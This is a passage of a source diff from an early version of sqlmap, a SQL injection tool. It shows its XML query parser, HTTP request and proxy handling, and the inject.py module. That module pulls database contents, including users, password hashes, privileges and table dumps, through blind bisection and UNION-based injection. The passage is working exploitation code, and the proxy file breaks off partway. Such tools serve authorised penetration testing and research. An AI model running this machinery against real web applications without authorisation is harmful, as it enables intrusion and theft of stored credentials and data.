elif name == "limitgroupstop":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limitgroupstop = data
|
||||
|
||||
elif name == "limitstring":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limitstring = data
|
||||
|
||||
elif name == "order":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.order = data
|
||||
|
||||
elif name == "count":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.count = data
|
||||
|
||||
elif name == "substring":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.substring = data
|
||||
|
||||
elif name == "inference":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.inference = data
|
||||
|
||||
elif name == "banner":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.banner = data
|
||||
|
||||
elif name == "current_user":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.currentUser = data
|
||||
|
||||
elif name == "current_db":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.currentDb = data
|
||||
|
||||
elif name == "inband":
|
||||
self.__inband = sanitizeStr(attrs.get("query"))
|
||||
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
||||
self.__condition = sanitizeStr(attrs.get("condition"))
|
||||
self.__condition2 = sanitizeStr(attrs.get("condition2"))
|
||||
|
||||
elif name == "blind":
|
||||
self.__blind = sanitizeStr(attrs.get("query"))
|
||||
self.__blind2 = sanitizeStr(attrs.get("query2"))
|
||||
self.__count = sanitizeStr(attrs.get("count"))
|
||||
self.__count2 = sanitizeStr(attrs.get("count2"))
|
||||
|
||||
|
||||
def endElement(self, name):
|
||||
if name == "dbms":
|
||||
queries[self.__dbms] = self.__queries
|
||||
self.__queries = advancedDict()
|
||||
|
||||
elif name == "users":
|
||||
self.__users = {}
|
||||
self.__users["inband"] = { "query": self.__inband, "query2": self.__inband2 }
|
||||
self.__users["blind"] = { "query": self.__blind, "query2": self.__blind2,
|
||||
"count": self.__count, "count2": self.__count2 }
|
||||
|
||||
self.__queries.users = self.__users
|
||||
|
||||
elif name == "passwords":
|
||||
self.__passwords = {}
|
||||
self.__passwords["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition }
|
||||
self.__passwords["blind"] = { "query": self.__blind, "query2": self.__blind2,
|
||||
"count": self.__count, "count2": self.__count2 }
|
||||
|
||||
self.__queries.passwords = self.__passwords
|
||||
|
||||
elif name == "privileges":
|
||||
self.__privileges = {}
|
||||
self.__privileges["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
|
||||
self.__privileges["blind"] = { "query": self.__blind, "query2": self.__blind2,
|
||||
"count": self.__count, "count2": self.__count2 }
|
||||
|
||||
self.__queries.privileges = self.__privileges
|
||||
|
||||
elif name == "dbs":
|
||||
self.__dbs = {}
|
||||
self.__dbs["inband"] = { "query": self.__inband, "query2": self.__inband2 }
|
||||
self.__dbs["blind"] = { "query": self.__blind, "query2": self.__blind2,
|
||||
"count": self.__count, "count2": self.__count2 }
|
||||
|
||||
self.__queries.dbs = self.__dbs
|
||||
|
||||
elif name == "tables":
|
||||
self.__tables = {}
|
||||
self.__tables["inband"] = { "query": self.__inband, "condition": self.__condition }
|
||||
self.__tables["blind"] = { "query": self.__blind, "count": self.__count }
|
||||
|
||||
self.__queries.tables = self.__tables
|
||||
|
||||
elif name == "columns":
|
||||
self.__columns = {}
|
||||
self.__columns["inband"] = { "query": self.__inband }
|
||||
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count }
|
||||
|
||||
self.__queries.columns = self.__columns
|
||||
|
||||
elif name == "dump_table":
|
||||
self.__dumpTable = {}
|
||||
self.__dumpTable["inband"] = { "query": self.__inband }
|
||||
self.__dumpTable["blind"] = { "query": self.__blind, "count": self.__count }
|
||||
|
||||
self.__queries.dumpTable = self.__dumpTable
|
||||
|
||||
|
||||
def queriesParser():
|
||||
"""
|
||||
This function calls a class to parse the default DBMS queries
|
||||
from an XML file
|
||||
"""
|
||||
|
||||
debugMsg = "parsing XML queries file"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
xmlfile = paths.QUERIES_XML
|
||||
|
||||
checkFile(xmlfile)
|
||||
handler = queriesHandler()
|
||||
parse(xmlfile, handler)
|
||||
25
lib/request/__init__.py
Normal file
25
lib/request/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
81
lib/request/basic.py
Normal file
81
lib/request/basic.py
Normal file
@@ -0,0 +1,81 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: basic.py 247 2008-07-19 23:07:26Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.parse.html import htmlParser
|
||||
|
||||
|
||||
def forgeHeaders(cookie, ua):
|
||||
"""
|
||||
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
|
||||
the HTTP requests
|
||||
"""
|
||||
|
||||
headers = {}
|
||||
|
||||
for header, value in conf.httpHeaders:
|
||||
if cookie and header == "Cookie":
|
||||
headers[header] = cookie
|
||||
elif ua and header == "User-Agent":
|
||||
headers[header] = ua
|
||||
else:
|
||||
headers[header] = value
|
||||
|
||||
return headers
|
||||
|
||||
|
||||
def parsePage(page):
|
||||
"""
|
||||
@param page: the page to parse to feed the knowledge base htmlFp
|
||||
(back-end DBMS fingerprint based upon DBMS error messages return
|
||||
through the web application) list and absFilePaths (absolute file
|
||||
paths) set.
|
||||
|
||||
@todo: in the future parse the page content scrolling an XML file to
|
||||
identify the dynamic language used and, most, the absolute path,
|
||||
like for DBMS error messages (ERRORS_XML), see above.
|
||||
"""
|
||||
|
||||
if not page:
|
||||
return
|
||||
|
||||
htmlParsed = htmlParser(page, paths.ERRORS_XML)
|
||||
|
||||
if htmlParsed and htmlParsed not in kb.htmlFp:
|
||||
kb.htmlFp.append(htmlParsed)
|
||||
|
||||
# Detect injectable page absolute system path
|
||||
# NOTE: this regular expression works if the remote web application
|
||||
# is written in PHP and debug/error messages are enabled.
|
||||
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
|
||||
|
||||
for absFilePath in absFilePaths:
|
||||
if absFilePath not in kb.absFilePaths:
|
||||
kb.absFilePaths.add(absFilePath)
|
||||
228
lib/request/connect.py
Normal file
228
lib/request/connect.py
Normal file
@@ -0,0 +1,228 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: connect.py 280 2008-07-25 13:33:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import md5
|
||||
import re
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from lib.contrib import multipartpost
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.request.basic import forgeHeaders
|
||||
from lib.request.basic import parsePage
|
||||
|
||||
|
||||
|
||||
class Connect:
|
||||
"""
|
||||
This class defines methods used to perform HTTP requests
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def getPage(**kwargs):
|
||||
"""
|
||||
This method connects to the target url or proxy and returns
|
||||
the target url page content
|
||||
"""
|
||||
|
||||
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
||||
get = kwargs.get('get', None)
|
||||
post = kwargs.get('post', None)
|
||||
cookie = kwargs.get('cookie', None)
|
||||
ua = kwargs.get('ua', None)
|
||||
direct = kwargs.get('direct', False)
|
||||
multipart = kwargs.get('multipart', False)
|
||||
|
||||
cookieStr = ""
|
||||
requestMsg = "HTTP request:\n%s " % conf.method
|
||||
responseMsg = "HTTP response "
|
||||
requestHeaders = ""
|
||||
responseHeaders = ""
|
||||
|
||||
if re.search("http[s]*://%s" % conf.hostname, url, re.I):
|
||||
requestMsg += "%s" % conf.path or "/"
|
||||
else:
|
||||
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
||||
|
||||
if direct:
|
||||
if "?" in url:
|
||||
url, params = url.split("?")
|
||||
params = urlencode(params)
|
||||
url = "%s?%s" % (url, params)
|
||||
requestMsg += "?%s" % params
|
||||
elif multipart:
|
||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||
conn = multipartOpener.open(url, multipart)
|
||||
page = conn.read()
|
||||
return page
|
||||
elif conf.method == "GET":
|
||||
if conf.parameters.has_key("GET") and not get:
|
||||
get = conf.parameters["GET"]
|
||||
|
||||
if get:
|
||||
get = urlencode(get)
|
||||
url = "%s?%s" % (url, get)
|
||||
requestMsg += "?%s" % get
|
||||
elif conf.method == "POST":
|
||||
if conf.parameters.has_key("POST") and not post:
|
||||
post = conf.parameters["POST"]
|
||||
|
||||
post = urlencode(post)
|
||||
|
||||
requestMsg += " HTTP/1.1"
|
||||
|
||||
try:
|
||||
# Perform HTTP request
|
||||
headers = forgeHeaders(cookie, ua)
|
||||
req = urllib2.Request(url, post, headers)
|
||||
conn = urllib2.urlopen(req)
|
||||
|
||||
if "Accept-Encoding" not in req.headers:
|
||||
requestHeaders += "\nAccept-Encoding: identity"
|
||||
|
||||
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
|
||||
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
if not cookieStr:
|
||||
cookieStr = "Cookie: "
|
||||
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
|
||||
cookieStr += "%s; " % cookie[8:index]
|
||||
|
||||
if "Cookie" not in req.headers and cookieStr:
|
||||
requestHeaders += "\n%s" % cookieStr[:-2]
|
||||
|
||||
if "Connection" not in req.headers:
|
||||
requestHeaders += "\nConnection: close"
|
||||
|
||||
requestMsg += "\n%s" % requestHeaders
|
||||
|
||||
if post:
|
||||
requestMsg += "\n%s" % post
|
||||
|
||||
requestMsg += "\n"
|
||||
|
||||
logger.log(9, requestMsg)
|
||||
|
||||
# Get HTTP response
|
||||
page = conn.read()
|
||||
code = conn.code
|
||||
status = conn.msg
|
||||
responseHeaders = conn.info()
|
||||
|
||||
except urllib2.HTTPError, e:
|
||||
if e.code == 401:
|
||||
exceptionMsg = "not authorized, try to provide right HTTP "
|
||||
exceptionMsg += "authentication type and valid credentials"
|
||||
raise sqlmapConnectionException, exceptionMsg
|
||||
else:
|
||||
page = e.read()
|
||||
code = e.code
|
||||
status = e.msg
|
||||
responseHeaders = e.info()
|
||||
|
||||
except urllib2.URLError, e:
|
||||
warnMsg = "unable to connect to the target url"
|
||||
|
||||
if conf.googleDork:
|
||||
warnMsg += ", skipping to next url"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
else:
|
||||
warnMsg += " or proxy"
|
||||
raise sqlmapConnectionException, warnMsg
|
||||
|
||||
parsePage(page)
|
||||
responseMsg += "(%s - %d):\n" % (status, code)
|
||||
|
||||
if conf.verbose <= 4:
|
||||
responseMsg += str(responseHeaders)
|
||||
elif conf.verbose > 4:
|
||||
responseMsg += "%s\n%s\n" % (responseHeaders, page)
|
||||
|
||||
logger.log(8, responseMsg)
|
||||
|
||||
return page
|
||||
|
||||
|
||||
@staticmethod
|
||||
def queryPage(value=None, place=None, content=False):
|
||||
"""
|
||||
This method calls a function to get the target url page content
|
||||
and returns its page MD5 hash or a boolean value in case of
|
||||
string match check ('--string' command line parameter)
|
||||
"""
|
||||
|
||||
get = None
|
||||
post = None
|
||||
cookie = None
|
||||
ua = None
|
||||
|
||||
if not place:
|
||||
place = kb.injPlace
|
||||
|
||||
if conf.parameters.has_key("GET"):
|
||||
if place == "GET" and value:
|
||||
get = value
|
||||
else:
|
||||
get = conf.parameters["GET"]
|
||||
|
||||
if conf.parameters.has_key("POST"):
|
||||
if place == "POST" and value:
|
||||
post = value
|
||||
else:
|
||||
post = conf.parameters["POST"]
|
||||
|
||||
if conf.parameters.has_key("Cookie"):
|
||||
if place == "Cookie" and value:
|
||||
cookie = value
|
||||
else:
|
||||
cookie = conf.parameters["Cookie"]
|
||||
|
||||
if conf.parameters.has_key("User-Agent"):
|
||||
if place == "User-Agent" and value:
|
||||
ua = value
|
||||
else:
|
||||
ua = conf.parameters["User-Agent"]
|
||||
|
||||
page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
|
||||
|
||||
if content:
|
||||
return page
|
||||
elif conf.string:
|
||||
if conf.string in page:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
return md5.new(page).hexdigest()
|
||||
377
lib/request/inject.py
Normal file
377
lib/request/inject.py
Normal file
@@ -0,0 +1,377 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: inject.py 368M 2008-10-14 23:52:59Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import cleanQuery
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import expandAsteriskForColumns
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import replaceNewlineTabs
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.techniques.inband.union.use import unionUse
|
||||
from lib.techniques.inference.blind import bisection
|
||||
from lib.utils.resume import queryOutputLength
|
||||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
def __getFieldsProxy(expression):
|
||||
_, _, _, expressionFields = agent.getFields(expression)
|
||||
expressionFieldsList = expressionFields.replace(", ", ",")
|
||||
expressionFieldsList = expressionFieldsList.split(",")
|
||||
|
||||
return expressionFields, expressionFieldsList
|
||||
|
||||
|
||||
def __goInference(payload, expression):
|
||||
start = time.time()
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
||||
|
||||
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
||||
_, length, _ = queryOutputLength(expression, payload)
|
||||
else:
|
||||
length = None
|
||||
|
||||
count, value = bisection(payload, expression, length=length)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
infoMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||
logger.info(infoMsg)
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload):
|
||||
outputs = []
|
||||
|
||||
for field in expressionFieldsList:
|
||||
output = None
|
||||
|
||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||
output = resume(expressionReplaced, payload)
|
||||
|
||||
if not output:
|
||||
output = __goInference(payload, expressionReplaced)
|
||||
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
|
||||
|
||||
def __goInferenceProxy(expression, fromUser=False):
|
||||
"""
|
||||
Retrieve the output of a SQL query characted by character taking
|
||||
advantage of an blind SQL injection vulnerability on the affected
|
||||
parameter through a bisection algorithm.
|
||||
"""
|
||||
|
||||
query = agent.prefixQuery(temp.inference)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
count = None
|
||||
startLimit = 0
|
||||
stopLimit = None
|
||||
outputs = []
|
||||
test = None
|
||||
untilLimitChar = None
|
||||
untilOrderChar = None
|
||||
|
||||
output = resume(expression, payload)
|
||||
|
||||
if output:
|
||||
return output
|
||||
|
||||
if kb.dbmsDetected:
|
||||
expressionFields, expressionFieldsList = __getFieldsProxy(expression)
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
infoMsg += "sqlmap will now unpack it into distinct queries "
|
||||
infoMsg += "to be able to retrieve the output even if we "
|
||||
infoMsg += "are going blind"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# If we have been here from SQL query/shell we have to check if
|
||||
# the SQL query might return multiple entries and in such case
|
||||
# forge the SQL limiting the query output one entry per time
|
||||
# NOTE: I assume that only queries that get data from a table
|
||||
# can return multiple entries
|
||||
if fromUser and " FROM " in expression:
|
||||
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
||||
|
||||
if limitRegExp:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
|
||||
# I assume that only queries NOT containing a "LIMIT #, 1"
|
||||
# (or similar depending on the back-end DBMS) can return
|
||||
# multiple entries
|
||||
if limitCond:
|
||||
if limitRegExp:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or similar, depending on the back-end DBMS) word
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
stopLimit += startLimit
|
||||
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||
expression = expression[:untilLimitChar]
|
||||
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||
test = "n"
|
||||
else:
|
||||
message = "does the SQL query that you provide might "
|
||||
message += "return multiple entries? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
||||
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
||||
|
||||
if re.search(" ORDER BY ", expression, re.I):
|
||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||
countedExpression = countedExpression[:untilOrderChar]
|
||||
|
||||
count = resume(countedExpression, payload)
|
||||
|
||||
if not stopLimit:
|
||||
if not count:
|
||||
count = __goInference(payload, countedExpression)
|
||||
|
||||
if count.isdigit() and int(count) > 0:
|
||||
count = int(count)
|
||||
|
||||
message = "the SQL query that you provide can "
|
||||
message += "return up to %d entries. How many " % count
|
||||
message += "entries do you want to retrieve?\n"
|
||||
message += "[a] All (default)\n[#] Specific number\n"
|
||||
message += "[q] Quit\nChoice: "
|
||||
test = readInput(message, default="a")
|
||||
|
||||
if not test or test[0] in ("a", "A"):
|
||||
stopLimit = count
|
||||
|
||||
elif test[0] in ("q", "Q"):
|
||||
return "Quit"
|
||||
|
||||
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
||||
stopLimit = int(test)
|
||||
|
||||
infoMsg = "sqlmap is now going to retrieve the "
|
||||
infoMsg += "first %d query output entries" % stopLimit
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif test[0] in ("#", "s", "S"):
|
||||
message = "How many? "
|
||||
stopLimit = readInput(message, default="10")
|
||||
|
||||
if not stopLimit.isdigit():
|
||||
errMsg = "Invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
return None
|
||||
|
||||
else:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
else:
|
||||
errMsg = "Invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
return None
|
||||
|
||||
elif ( not count or int(count) == 0 ):
|
||||
warnMsg = "the SQL query that you provided does "
|
||||
warnMsg += "not return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
||||
warnMsg = "the SQL query that you provided does "
|
||||
warnMsg += "not return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
limitedExpr = expression
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
limitStr = queries[kb.dbms].limit % (num, 1)
|
||||
limitedExpr += " %s" % limitStr
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
limitStr = queries[kb.dbms].limit
|
||||
fromIndex = limitedExpr.index(" FROM ")
|
||||
untilFrom = limitedExpr[:fromIndex]
|
||||
fromFrom = limitedExpr[fromIndex+1:]
|
||||
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||
limitedExpr = limitedExpr % fromFrom
|
||||
limitedExpr += "=%d" % (num + 1)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if re.search(" ORDER BY ", limitedExpr, re.I):
|
||||
untilOrderChar = limitedExpr.index(" ORDER BY ")
|
||||
limitedExpr = limitedExpr[:untilOrderChar]
|
||||
|
||||
limitStr = queries[kb.dbms].limit
|
||||
fromIndex = limitedExpr.index(" FROM ")
|
||||
untilFrom = limitedExpr[:fromIndex]
|
||||
fromFrom = limitedExpr[fromIndex+1:]
|
||||
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
|
||||
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
|
||||
limitedExpr += "NOT IN (%s" % (limitStr % num)
|
||||
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
|
||||
|
||||
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload)
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
|
||||
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
||||
expression = "%s FROM DUAL" % expression
|
||||
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload)
|
||||
|
||||
returnValue = ", ".join([output for output in outputs])
|
||||
else:
|
||||
returnValue = __goInference(payload, expression)
|
||||
|
||||
return returnValue
|
||||
|
||||
|
||||
def __goInband(expression):
|
||||
"""
|
||||
Retrieve the output of a SQL query taking advantage of an inband SQL
|
||||
injection vulnerability on the affected parameter.
|
||||
"""
|
||||
|
||||
counter = None
|
||||
output = None
|
||||
partial = False
|
||||
data = []
|
||||
|
||||
condition = (
|
||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||
and expression in kb.resumedQueries[conf.url].keys()
|
||||
)
|
||||
|
||||
if condition:
|
||||
output = resume(expression, None)
|
||||
|
||||
if not output:
|
||||
partial = True
|
||||
|
||||
if not output:
|
||||
output = unionUse(expression)
|
||||
|
||||
fields = expression.split(",")
|
||||
counter = len(fields)
|
||||
|
||||
if output:
|
||||
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
||||
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
|
||||
|
||||
if outCond1 or outCond2:
|
||||
if outCond1:
|
||||
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
|
||||
elif outCond2:
|
||||
regExpr = '__START__(.*?)__STOP__'
|
||||
|
||||
output = re.findall(regExpr, output, re.S)
|
||||
|
||||
if conf.sessionFile and ( partial or not condition ):
|
||||
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
||||
|
||||
output = set(output)
|
||||
|
||||
for entry in output:
|
||||
info = []
|
||||
|
||||
if "__DEL__" in entry:
|
||||
entry = entry.split("__DEL__")
|
||||
else:
|
||||
entry = entry.split(temp.delimiter)
|
||||
|
||||
if len(entry) == 1:
|
||||
data.append(entry[0])
|
||||
else:
|
||||
for value in entry:
|
||||
info.append(value)
|
||||
|
||||
data.append(info)
|
||||
else:
|
||||
data = output
|
||||
|
||||
if len(data) == 1 and isinstance(data[0], str):
|
||||
data = data[0]
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False):
|
||||
"""
|
||||
Called each time sqlmap inject a SQL query on the SQL injection
|
||||
affected parameter. It can call a function to retrieve the output
|
||||
through inband SQL injection (if selected) and/or blind SQL injection
|
||||
(if selected).
|
||||
"""
|
||||
|
||||
expression = cleanQuery(expression)
|
||||
expression = expandAsteriskForColumns(expression)
|
||||
value = None
|
||||
|
||||
if inband and conf.unionUse and kb.dbms:
|
||||
value = __goInband(expression)
|
||||
|
||||
if blind and not value:
|
||||
value = __goInferenceProxy(expression, fromUser)
|
||||
|
||||
return value
|
||||
128
lib/request/proxy.py
Normal file
128
lib/request/proxy.py
Normal file
@@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: proxy.py 322 2008-08-27 00:21:22Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import httplib
|
||||
import socket
|
||||
import urllib
|
||||
import urllib2
|
||||
|
||||
|
||||
class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
_ports = {"http" : 80, "https" : 443}
|
||||
|
||||
def request(self, method, url, body=None, headers={}):
|
||||
# Request is called before connect, so can interpret url and get
|
||||
# real host/port to be used to make CONNECT request to proxy
|
||||
proto, rest = urllib.splittype(url)
|
||||
|
||||
if proto is None:
|
||||
raise ValueError, "unknown URL type: %s" % url
|
||||
|
||||
# Get host
|
||||
